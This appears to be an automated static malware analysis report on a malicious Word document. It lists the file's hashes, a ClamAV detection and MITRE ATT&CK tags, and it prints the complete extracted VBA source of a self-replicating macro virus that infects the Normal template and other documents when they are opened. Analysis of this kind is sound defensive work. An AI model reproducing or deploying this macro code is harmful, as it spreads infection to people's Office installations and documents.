Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e02a9eabca2ff0df…

MALICIOUS

Office (OLE)

46.5 KB Created: 2015-09-21 06:17:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: d7eb253880264c407d9582b969ac8e66 SHA-1: 2489aca92174cd42133548617d49f241c5eb1891 SHA-256: e02a9eabca2ff0df41df9100bf085d1919e202c7196f73cd90b7a52180f9cd99
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Macro.MicroVirus-6097260-0'. Static analysis reveals the presence of VBA macros, specifically a 'Document_Open' macro designed to execute upon file opening. This macro appears to copy its own code into the NormalTemplate or ActiveDocument, potentially to establish persistence or ensure execution. The primary function of the macro is to run upon document opening, indicating a likely intent to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.